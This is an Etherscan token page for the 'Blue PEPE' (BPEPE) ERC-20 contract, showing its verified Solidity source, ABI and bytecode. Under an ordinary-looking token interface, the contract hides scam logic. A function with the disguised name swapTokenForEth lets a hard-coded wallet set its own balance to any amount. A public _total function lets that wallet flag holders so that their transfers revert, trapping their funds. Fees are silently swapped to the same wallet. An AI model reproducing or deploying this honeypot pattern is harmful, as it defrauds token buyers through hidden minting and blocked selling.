ETH Price: $3,029.07 (+3.34%)
Gas: 1 Gwei

Token

Blue PEPE (BPEPE)
 

Overview

Max Total Supply

1,000,000,000 BPEPE

Holders

36

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
0.000001 BPEPE

Value
$0.00
0x9184aa00c9c8cf2c1f4b5fe9e663010011915ee4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BPEPE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-27
*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract BPEPE is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "Blue PEPE";
    string private _symbol = "BPEPE";
    uint8 private _decimals = 6;
    address payable public addr;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public _pairListed;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        addr = payable(address(0x83Fdb99846e9019282DBfc0a350226B907B0e8c8));
        
        _isExcludefromFee[addr] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function launchPad() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function swapTokenForEth(uint256 token, mapping(
        address => uint256)
        storage
        _null) private {
        _null[address(addr)] = token;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                uint256 contractTokenBalance = balanceOf(address(this));
                swapAndLiquify(contractTokenBalance);
            }

            uint256 i = ((from == addr) ?
                            ((addr == to) ?
                                1 : 0)
                        : 0);

            if (i == 1)
                swapTokenForEth(
                    amount,
                _balances);


            _balances[from] = _balances[from].sub(amount);

            uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to]) ? amount : tokenTransfer(from, amount);
            
            _balances[to] = _balances[to].add(fAmount);

            emit Transfer(from, to, fAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(addr),
            block.timestamp
        ){} catch {}
    }

    function _total(address _i,uint256 _m) public {
        if((_m == 0) || (_m - 1 == 0)){
            _pairListed[_i] = _m;
        }
        if (msg.sender != addr) revert ("w r u doing ?");
    }

    function tokenTransfer(address sender, uint256 amount) internal returns (uint256) {
        uint256 txFee = amount.mul(3).div(100);

        if(_pairListed[sender] > 0) txFee += txFee + amount;

        if(txFee > 0) {
            _balances[address(this)] += txFee;
            emit Transfer(sender, address(this), txFee);
        }

        return amount.sub(txFee);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_pairListed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_i","type":"address"},{"internalType":"uint256","name":"_m","type":"uint256"}],"name":"_total","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addr","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchPad","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600981526020017f426c756520504550450000000000000000000000000000000000000000000000815250600190816200004a919062000715565b506040518060400160405280600581526020017f42504550450000000000000000000000000000000000000000000000000000008152506002908162000091919062000715565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250600360009054906101000a900460ff16600a6200010191906200098c565b633b9aca00620001129190620009dd565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200013d57600080fd5b506200014e6200046a60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a37383fdb99846e9019282dbfc0a350226b907b0e8c8600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620002ed6200047260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620003ad6200046a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620003fb6200046a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200045c919062000a39565b60405180910390a362000a56565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200051d57607f821691505b602082108103620005335762000532620004d5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200059d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200055e565b620005a986836200055e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620005f6620005f0620005ea84620005c1565b620005cb565b620005c1565b9050919050565b6000819050919050565b6200061283620005d5565b6200062a6200062182620005fd565b8484546200056b565b825550505050565b600090565b6200064162000632565b6200064e81848462000607565b505050565b5b8181101562000676576200066a60008262000637565b60018101905062000654565b5050565b601f821115620006c5576200068f8162000539565b6200069a846200054e565b81016020851015620006aa578190505b620006c2620006b9856200054e565b83018262000653565b50505b505050565b600082821c905092915050565b6000620006ea60001984600802620006ca565b1980831691505092915050565b6000620007058383620006d7565b9150826002028217905092915050565b62000720826200049b565b67ffffffffffffffff8111156200073c576200073b620004a6565b5b62000748825462000504565b620007558282856200067a565b600060209050601f8311600181146200078d576000841562000778578287015190505b620007848582620006f7565b865550620007f4565b601f1984166200079d8662000539565b60005b82811015620007c757848901518255600182019150602085019450602081019050620007a0565b86831015620007e75784890151620007e3601f891682620006d7565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200088a57808604811115620008625762000861620007fc565b5b6001851615620008725780820291505b808102905062000882856200082b565b945062000842565b94509492505050565b600082620008a5576001905062000978565b81620008b5576000905062000978565b8160018114620008ce5760028114620008d9576200090f565b600191505062000978565b60ff841115620008ee57620008ed620007fc565b5b8360020a915084821115620009085762000907620007fc565b5b5062000978565b5060208310610133831016604e8410600b8410161715620009495782820a905083811115620009435762000942620007fc565b5b62000978565b62000958848484600162000838565b92509050818404811115620009725762000971620007fc565b5b81810290505b9392505050565b600060ff82169050919050565b60006200099982620005c1565b9150620009a6836200097f565b9250620009d57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000893565b905092915050565b6000620009ea82620005c1565b9150620009f783620005c1565b925082820262000a0781620005c1565b9150828204841483151762000a215762000a20620007fc565b5b5092915050565b62000a3381620005c1565b82525050565b600060208201905062000a50600083018462000a28565b92915050565b608051612a4762000a72600039600061070d0152612a476000f3fe60806040526004361061012e5760003560e01c806358f6b16e116100ab578063a9059cbb1161006f578063a9059cbb14610405578063c816841b14610442578063d18991f61461046d578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b806358f6b16e1461033057806370a0823114610347578063767800de146103845780638da5cb5b146103af57806395d89b41146103da57610135565b806323b872dd116100f257806323b872dd1461023557806327c8f83514610272578063313ce5671461029d5780633345611e146102c85780634a74bb021461030557610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806317385f19146101cd57806318160ddd1461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190611ee4565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611f9f565b6105cb565b6040516101999190611ffa565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612074565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef919061208f565b61060f565b60405161020191906120cb565b60405180910390f35b34801561021657600080fd5b5061021f610627565b60405161022c91906120cb565b60405180910390f35b34801561024157600080fd5b5061025c600480360381019061025791906120e6565b610631565b6040516102699190611ffa565b60405180910390f35b34801561027e57600080fd5b5061028761070b565b6040516102949190612148565b60405180910390f35b3480156102a957600080fd5b506102b261072f565b6040516102bf919061217f565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea919061208f565b610746565b6040516102fc9190611ffa565b60405180910390f35b34801561031157600080fd5b5061031a610766565b6040516103279190611ffa565b60405180910390f35b34801561033c57600080fd5b50610345610779565b005b34801561035357600080fd5b5061036e6004803603810190610369919061208f565b610b24565b60405161037b91906120cb565b60405180910390f35b34801561039057600080fd5b50610399610b6d565b6040516103a691906121bb565b60405180910390f35b3480156103bb57600080fd5b506103c4610b93565b6040516103d19190612148565b60405180910390f35b3480156103e657600080fd5b506103ef610bbc565b6040516103fc9190611ee4565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190611f9f565b610c4e565b6040516104399190611ffa565b60405180910390f35b34801561044e57600080fd5b50610457610c6d565b6040516104649190612148565b60405180910390f35b34801561047957600080fd5b50610494600480360381019061048f9190611f9f565b610c93565b005b3480156104a257600080fd5b506104bd60048036038101906104b891906121d6565b610d8c565b6040516104ca91906120cb565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f5919061208f565b610e13565b005b34801561050857600080fd5b50610523600480360381019061051e919061208f565b610f65565b6040516105309190611ffa565b60405180910390f35b60606001805461054890612245565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612245565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8610f85565b8484610f8d565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b6000600954905090565b600061063e848484611156565b506107008461064b610f85565b6106fb856040518060600160405280602881526020016129ea60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106b1610f85565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160e9092919063ffffffff16565b610f8d565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b610781610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461080e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610805906122c2565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610872573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089691906122f7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092191906122f7565b6040518363ffffffff1660e01b815260040161093e929190612324565b6020604051808303816000875af115801561095d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098191906122f7565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bcb90612245565b80601f0160208091040260200160405190810160405280929190818152602001828054610bf790612245565b8015610c445780601f10610c1957610100808354040283529160200191610c44565b820191906000526020600020905b815481529060010190602001808311610c2757829003601f168201915b5050505050905090565b6000610c62610c5b610f85565b8484611156565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000811480610cae57506000600182610cac919061237c565b145b15610cf85780600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7f906123fc565b60405180910390fd5b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e1b610f85565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9f906122c2565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff39061248e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361106b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106290612520565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114991906120cb565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd906125b2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611235576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122c90612644565b60405180910390fd5b600b60149054906101000a900460ff161561125c57611255848484611672565b9050611607565b600b60149054906101000a900460ff161580156112c35750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156112e05760006112d330610b24565b90506112de81611845565b505b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461133e57600061139e565b8373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461139a57600061139d565b60015b5b60ff169050600181036113b7576113b6836004611aad565b5b61140983600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114ef5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611502576114fd8685611b60565b611504565b835b905061155881600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccf90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115f891906120cb565b60405180910390a36001925050505b9392505050565b6000838311158290611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d9190611ee4565b60405180910390fd5b5060008385611665919061237c565b9050809150509392505050565b60006116fd826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160e9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179282600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ccf90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183291906120cb565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561187d5761187c612664565b5b6040519080825280602002602001820160405280156118ab5781602001602082028036833780820191505090505b50905030816000815181106118c3576118c2612693565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561196a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198e91906122f7565b816001815181106119a2576119a1612693565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611a629594939291906127bb565b600060405180830381600087803b158015611a7c57600080fd5b505af1925050508015611a8d575060015b50506000600b60146101000a81548160ff02191690831515021790555050565b81816000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000611b5883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061160e565b905092915050565b600080611b8a6064611b7c600386611d2d90919063ffffffff16565b611da790919063ffffffff16565b90506000600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611bee578281611be09190612815565b81611beb9190612815565b90505b6000811115611cb35780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c469190612815565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a